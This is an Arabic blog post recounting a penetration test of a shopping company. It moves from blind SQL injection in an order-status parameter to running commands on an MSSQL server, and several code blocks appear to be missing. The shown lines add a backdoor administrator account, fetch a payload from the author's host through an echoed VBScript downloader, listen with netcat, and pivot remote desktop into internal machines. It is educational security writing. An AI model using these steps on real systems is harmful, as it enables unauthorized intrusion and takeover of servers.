Real world pentesting scenario I [Arabic]

November 9, 2016

السلام عليكم
أثناء تجولى بالشبكة رأيت العديد من المقالات التى تعتمد فى تطبيقها على البيئات الوهمية وترسخ فى ذهن قارئها أنه من الصعب جدا مواجهة مثلها أثناء عملية اختبار اختراق حقيقية لعدة أسباب
لذلك ارتأيت أن ايكون موضوع مقالى اليوم عن تطبيق عملى لبعض تقنيات الاختراق على هدف حي
لن أقدم جديدا على ما أعتقد
فقط دورى ما هو إلا ربط المعلومات الموجودة لديك مسبقا ببعضها وإثبات امكانية استغلال أيا ما تعرفه حين ما تحتاجه
فى حال تعذر استيعاب جزء معين يمكنك قرائته مرة أخرى ومن ثم الاستفسار عن هذا الجزء
وجب التنويه أن المقال قمت بنشره بالفعل بمنتديات الحماية للأبد وأعدت نشره للإفادة العامة

نبدأ بإسم الله تعالى
الهدف عبارة عن شركة تشرف على مجموعة من مواقع التسوق , الغرض من الاختراق الوصول لأعلى صلاحيات ممكنة وكتابة تقرير كامل عن العملية مع ايضاح مناطق الضعف فى نظام الشركة
أثناء الفحص لموقع تابع للشركة استرعى انتباهى رابط من النوع الذى بإمكانك الجزم أنه مصاب بمجرد النظر
الرابط كان كالتالى

وظيفته فحص حالة الطلب المقدم منك للموقع
نبدأ باختبار سريع للـOrderID parameter
نغير الاستعلام إلى استعلام خاطىء مثل

لاحظ أن مكان xxxxxx يوجد order id صحيح
الناتج

نغير الاستعلام الى استعلام صحيح

والنتيجه

تأكدنا من أن الـParameter مصاب بثغرة من نوع Blind sql injection
بعد العديد من الاختبارات لم يتثنى لنا استغلال الثغرة بطريقة أخرى بعيدة عن الحقن الأعمى مما يعنى أنها ستلازمنا فى ما تبقى من المهمه
بعد القيام ب Finger printing سريع بالاضافه لما ظهر لنا خلال الحقن من أخطاء مثلا
Microsoft OLE DB Provider for ODBC Drivers ´íÎó ‘80040e21’
يمكننا الجزم بأن السيرفر Microsoft windows وان خادم قواعد البيانات هو MSSql
يمكننا البدء باستخراج الجداول والاعمدة ومن ثم استخراج بعض البيانات
لكن مع الـBlind injection
سنحتاج العديد من الوقت والمجهود الذين نحن فى غنى كامل عنهم
لذا من الافضل الوصول للهدف سريعا بوسيلة أخرى بعيدة عن الحقن الأعمى توفيرا للوقت
كما يعلم البعض يمكننا تنفيذ system commands فى الsql server فى حال توافر بعض الشروط مثلا أن يكون اليوزر المتصل بالقاعده هو sysadmin
المعروف اختصارا بـSA
لذا فضلت سلك هذا الاتجاه ومحاولت تنفيذ أوامر خاصه بالنظام
يمكنك قرائة هذا المقال الذى كتبه عضوين من فريق CWH Underground
https://www.exploit-db.com/papers/12975/
بعد مراجعته سريعا يمكنك متابعة المقال الخاص بى
الوضع كالتالى
الحقن أعمى مما يعنى أننا لن يمكننا رؤية ناتج الأمر مباشرة
لذا باعتبار قابليتنا لتنفيذ الأوامر على السيرفر , هناك حالتان
1 – تنفيذ الامر بدون الحصول على نتيجة نهائيا (لكن الأمر تم تنفيذه بالفعل)
2 – القيام بإنشاء جدول جديد خاص بنا + عمود يمكننا وضح ناتج تنفيذ الأمر به ومن ثم استخراج الناتج عن طريق الحقن الأعمى كأى جدول آخر
سنأخذ بالحل الثانى باعتبار اننا ربما سنحتاج ان نعرف ناتج أمر ما
نبدأ بإنشاء جدول بإسم Ox4148 يحتوى على عمودين , الأول ID والثاني data

ومن ثم نرى إن كان لدينا الصلاحيات الكافية لتنفيذ الأوامر عن طريق تنفيذ أمر تجريبى وليكن

ليكون شكل الرابط كالتالى

شرح للاستعلام
قمنا بتعريف متغير جديد r1z
وكانت قيمته هو الأمر المراد تنفيذه بعد ترميزه بالهيكس
SET @r1z=0x6563686f20223078343134384045672d52317a22
ومن ثم القيام بتنفيذ الأمر وعمل insert للناتج داخل الجدول Ox4148 بالعمود data
(يمكننا تنفيذ الأوامر مباشرة دون استخدام الترميز لكن عن نفسى أفضل تفادى الاخطاء قدر الامكان خاصة بالمرحلة القادمة التى سيتضح بها فائدة الهيكس)
النتيجة بعد الخطوتين السابقتين

مما يعنى ان الاستعلامات كانت ناجحة وإلا لقمنا بالحصول على رسالة خطأ من السيرفر
الخطوة التالية هى الحصول على صلاحيات administrator والاتصال بالـremote desktop الخاص بالسيرفر
خطوة سهله للغاية
كل ما علينا القيام بتنفيذ
net user user1 user1pass /add
net localgroup administrators user1 /addومن ثم الاتصال بالسيرفر , لا مشكله على الاطلاق
لكن العقبة التى أمامنا هى الفشل فى الاتصال بالسيرفر مما يعنى أن الجدار النارى الخاص بالسيرفر يقوم بفلترة الاتصالات أو أن المسئول عن النظام قام بتغيير المنفذ الخاص بالاتصال
بعد ايقاف الجدار النارى وفحص المنافذ من 0-65535 بالـnmap لم يجد جديد!!
يتوجب علينا التعمق أكثر والحصول على اتصال أكثر قوه بالسيرفر
من خلال ال meterpreter مثلا
نبدأ بنشاء الpayload الخاص بنا ليتصل بنا من خلال البورت 101

وماذا بعد؟!
يلزمنا عمل upload للبايلود الخاص بنا للهدف , كيف يمكننا ذلك مع عدم وجود اى وسيلة لرفع الملفات؟!
فى الواقع هناك العديد من الطرق سأختار من بينها ال VBscript
vbscript بسيط يقوم بوظيفة الامر wget

كل ما علينا هو حفظ الملف على سيرفر الهدف بأى اسم وليكن wget.vbs
وتشغيله كالتالىcscript wget.vbs URL output_file_name
عدنا لنقطة البدايه!!! كيف يمكننا رفع الملف على السيرفر؟
بسهوله عن طريق الأمر echo
كالتالى

بتنفيذ الأوامر السابقة سنحصل على الملف كاملا وجاهزا للاستخدام
ماذا عن تجربة استبدال الكود السابق بالتالى

سيكون الناتج سطر واحد يمكننا تنفيذه بسهوله بدلا من العديد من الاستعلامات التى سنضطر للقيام بها
المشكلة تكمن فى عدد الحروف يا صديقى , جميع استعلاماتنا من النوع GET
مما يعنى أننا ملتزمين بالـUrl length limit الخاص بالسيرفر , وفى حالة ال iis يكون افتراضيا 260 حرف
وما طول الأمر الخاص بنا بعد ترميزه بالهيكس؟

2918 , تخطينا الحدود بمراحل
اذا الحل الأسهل هو حفظ السطور المطلوبه بملف text وعمل سكربت python لتسهيل العملية
نقوم بإنشاء ملف جديد ونحفظ به الأوامر الخاصة بنا

ومن ثم ارسال كل أمر على حده

الآن لحظة التأكد من أن كل ما سبق كلل بالنجاح
سنقوم باستخدام ملف ال vbscript لعمل استعلام للخادم الخاص بنا ومشاهدة اذا ما كان الاستعلام ناجحا ام لا ومن ثم يمكننا تحميل البايلود على الهدف فى حالة النجاح
نقوم ببدأ ال netcat على البورت 80 على السيرفر الخاص بنا
nc -lvp 80ومن ثم تنفيذ الأمر
cscript wget.vbs http://88.xx.xx.xx/wget_test foo
على السيرفر الخاص بالهدف
والنتيجة

تمت محاولة سحب الملف wget_test بنجاح
الان نقوم بسحب البايلود

ومن ثم القيام بتشغيله (هذه الخطوة تحديدا قامت بإيقافى لوقت طويل لعدم قابلية السيرفر للقيام بتشغيل أيا من ال payloads التى قمت برفعها سواء عن طريق start , call , cscript (for vbs payload) وحتى عمل schedule لتنفيذ الملف الخاص بى)
فى النهاية نجح تشغيل الملف عن طريق

استخدمت هذا المسار اعتمادا على تجاربى السابقة بالاضافة لمعلوماتى البسيطه للغاية عن خوادم iis
وبالامكان ايضا معرفة المسار عن طريق عمل insert لناتج الامر cd بالجدول الذى قمنا بإنشائه ومن ثم استدعاء الناتج
النتيجة على السيرفر الخاص بنا

بعد التأكد من ايقاف الجدار النارى مرة ثانية كانت النتيجه

الفشل المعتاد
لكن بما أن صلاحياتنا تسمح لنا بالتعمق أكثر فلنرى اذا كانت خدمة ال remote desktop فعالة من الأساس

المنفذ 3389 الخاص بالخدمه مفتوح بالفعل وجاهز لاستقبال الاتصالات من خارج السيرفر!!!!!!!!
لنبدأ بالتعمق فى الـnetwork structure الخاصة بالهدف

Pingo!!!!!
الآن اتضحت الأمور
الايبى الذى نحاول الاتصال به ما هو إلا واجهة لشبكة داخليه
يقوم بتوجيه الاتصالات القادمة على المنافذ 80 و 443 لجهاز داخل الشبكه
ولكن لا توجد لديه rules خاصة بالمنفذ 3389 الخاص بالremote desktop
ما العمل؟
Pivoting time
نقوم بعمل التوجيه بأنفسنا
وبما اننا نمتلك جلسة meterpreter لن يستغرق الموضوع طويلا
فقط توجيه الاتصالات القادمة على المنفذ 3389 بالسيرفر الخاص بنا الى الايبى الداخلى الموجود بالهدف باستخدام السيشون التى نملكها

قمنا بتوجيه الاتصالات القادمة لسيرفرنا على المنفذ 3389 لتتجه الى 172.21.254.8
والقادمة على 33892 الى 172.21.254.81
والقادمة على 33893 الى 172.21.254.82
وبامكاننا المتابعة الى مالانهاية لكن لنبدأ بتجربة الاتصال


نجحنا ويمكننا الآن التعمق أكثر وأكثر داخل الشركة لكن لنترك هذا الجزء لوقت لاحق
بنهاية المقال أرجو أن أكون ساهمت ولو بالقليل فى الدور التوعوى الهادف للنهوض بهذا المجال عربيا والمنافسة فيه عالميا
كما أرجو أن يرسخ لدى كل من قرأ المقال فكرة أنه ما تعلمه لن يضرك مالم ينفعك
اخترت بالمقال هدفا أمكن اختراقه بأساليب شبه بائده ولكنها ما زالت فعالة بكثرة على عكس ما يعتقد الأعضاء كما أن من اسباب اختيارى لهذا الهدف كموضوع هو التأكيد على أهمية ال pivoting وايضاح انها ليست عملية بلا أهمية كما يعتقد العديدين
كما يجب التنويه بأنى لا اقصد بكلامى التقليل من شأن التطبيق على ال virtual environments اطلاقا
بالعكس فهذه البيئات أكثر من جيده للتعلم لكن لا يجب الاكتفاء بها إطلاقا وهذا هو المغزى من الموضوع
هذا وما كان من صواب فمن الله وما كان من خطأ منى ومن الشيطان, والله منه براء
والله ولى التوفيق

حتى وقت آخر,
أحمد


comments powered by Disqus